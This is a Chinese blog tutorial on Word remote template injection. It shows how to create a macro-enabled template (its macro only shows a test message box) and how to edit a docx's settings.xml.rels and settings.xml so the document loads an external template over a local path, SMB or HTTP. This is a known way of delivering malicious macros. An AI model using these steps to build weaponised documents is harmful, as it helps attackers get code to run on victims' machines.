Word 模板注入
2024-09-17 10:19:15
要实现word模板注入,需要一个被注入的文档,以及一个注入用的模板。
1.创建一个启用宏的模板
打开word,alt+f8创建编辑宏,在Project->Microsoft Word对象->ThisDocument中编写宏代码。
Sub Document_Open()
MsgBox "模板注入测试"
End Sub
保存为带宏的模板即可。
2.创建被注入文档
接下来是用于接受注入的文档,docx实际是个压缩包,修改后缀为zip并解压,进入目录“word/_rels”,创建文件settings.xml.rels,内容为:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="file://x:\your\template\file\path"
TargetMode="External"/>
</Relationships>
Relationship标签中的Target属性值可以是本地路径,也可以是SMB、HTTP等网络协议。
记录Id属性值xxxx,测试发现该值为多少并不影响最终利用。
回到上一级目录,即“Word/”下,打开文件settings.xml,插入标签<w:attachedTemplate r:id="xxxx"/>
。
最后打包整个文件夹为zip,修改后缀名为word文档格式名,比如doc,docx。
最后,双击运行,即加载模板。这里测试使用的模板是需要运行宏代码,所以还是需要“启用内容”才能生效。
最新文章
- php 图片上传的公共方法(按图片宽高缩放或原图)
- mariadb 10.2.3支持oracle execute immediate语法
- 论文阅读(Weilin Huang——【TIP2016】Text-Attentional Convolutional Neural Network for Scene Text Detection)
- 一些webGL的资源
- bootshrap会改变IE浏览器滚动条样式
- UITextField详解
- HeadFirst Jsp 05 (属性和监听)
- python学习笔记21(正则表达式)
- scp 详细总结
- [Unity c#]c#中的反射
- [html5] 学习笔记-bootstrap介绍
- WebApi返回类型设置为json的三种方法
- Linux下批量修改后缀名
- ubuntu安装苹果Windows以及微软雅黑consolas字体
- CISCO静态路由配置
- 【Python52--爬虫1】
- Lintcode: First Position of Target (Binary Search)
- Redis设计与实现读书笔记——简单动态字符串
- 用Matlab实现字符串分割(split)
- xrange和range的区别